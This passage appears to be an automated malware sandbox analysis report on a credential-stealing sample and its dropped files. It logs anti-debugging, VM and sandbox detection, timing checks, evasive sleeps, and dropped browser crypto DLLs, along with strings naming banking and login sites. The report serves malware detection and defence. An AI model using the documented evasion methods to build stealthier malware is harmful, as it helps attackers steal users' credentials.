Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40C24 second address: 4C40C98 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0B69E48h 0x00000008 add cx, 0C88h 0x0000000d jmp 00007FE1C0B69E3Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FE1C0B69E48h 0x0000001b and si, 6EE8h 0x00000020 jmp 00007FE1C0B69E3Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 pushad 0x0000002a mov dx, si 0x0000002d popad 0x0000002e jmp 00007FE1C0B69E3Ch 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40C98 second address: 4C40C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40C9C second address: 4C40CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40CA2 second address: 4C40CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40CA8 second address: 4C40CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40CAC second address: 4C40CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40CB0 second address: 4C40CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d pushfd 0x0000000e jmp 00007FE1C0B69E44h 0x00000013 adc cx, E6D8h 0x00000018 jmp 00007FE1C0B69E3Bh 0x0000001d popfd 0x0000001e popad 0x0000001f push dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Special instruction interceptor: First address: 53EC06 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Special instruction interceptor: First address: 6CF256 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Special instruction interceptor: First address: 53C1C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: F0EC06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: 109F256 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: F0C1C6 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Code function: 1_2_04C40D4F rdtsc 1_2_04C40D4F
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 180000 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API coverage: 6.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7872 Thread sleep time: -38019s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7888 Thread sleep time: -50025s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7844 Thread sleep count: 202 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7844 Thread sleep time: -6060000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7968 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7844 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe TID: 3324 Thread sleep count: 166 > 30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe TID: 3324 Thread sleep time: -996000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 19_2_0040D8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_0040F4F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 19_2_0040BCB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 19_2_004139B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 19_2_0040E270
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_00401710
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_004143F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_0040DC50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA, 19_2_00414050
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 19_2_0040EB60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 19_2_004133C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00401160 GetSystemInfo,ExitProcess, 19_2_00401160
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.31.dr Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: firefox.exe, 00000023.00000002.2563392429.0000020BC8C40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%/
Source: Web Data.31.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.31.dr Binary or memory string: AMC password management pageVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A89000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2563392429.0000020BC8C40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.000000000263E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2533978892.0000021F9B19A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559875741.0000020BC8810000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Gu4f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_C
Source: firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWA|
Source: Web Data.31.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.31.dr Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Web Data.31.dr Binary or memory string: discord.comVMware20,11696492231f
Source: Web Data.31.dr Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware\h
Source: Web Data.31.dr Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.31.dr Binary or memory string: tasks.office.comVMware20,11696492231o
Source: cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Web Data.31.dr Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Web Data.31.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.31.dr Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: explorti.exe, explorti.exe, 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW6
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWE'
Source: Web Data.31.dr Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'8
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Web Data.31.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF2DD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: f-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A89000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWBg
Source: firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
Source: cda9e1cbbc.exe, 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Web Data.31.dr Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.31.dr Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Web Data.31.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: cda9e1cbbc.exe, 00000025.00000002.2534669785.000000000263E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWN
Source: e0dbbf79bf.exe, 0000002B.00000002.2327638958.00000000007A9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&225630d-b6bf-11d0-94f2-00a0c91efb8b}\N
Source: Web Data.31.dr Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: JGKjBsQrMc.exe, 00000001.00000002.1318555638.00000000006B3000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000006.00000002.1371466246.0000000001083000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000007.00000002.1372752118.0000000001083000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.31.dr Binary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Code function: 1_2_04C40D4F rdtsc 1_2_04C40D4F
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 19_2_0041ACFA
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00404610 VirtualProtect ?,00000004,00000100,00000000 19_2_00404610
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 19_2_004195E0
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00ED645B mov eax, dword ptr fs:[00000030h] 17_2_00ED645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EDA1C2 mov eax, dword ptr fs:[00000030h] 17_2_00EDA1C2
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00419160 mov eax, dword ptr fs:[00000030h] 19_2_00419160
Contains functionality which may be used to detect a debugger (GetProcessHeap)
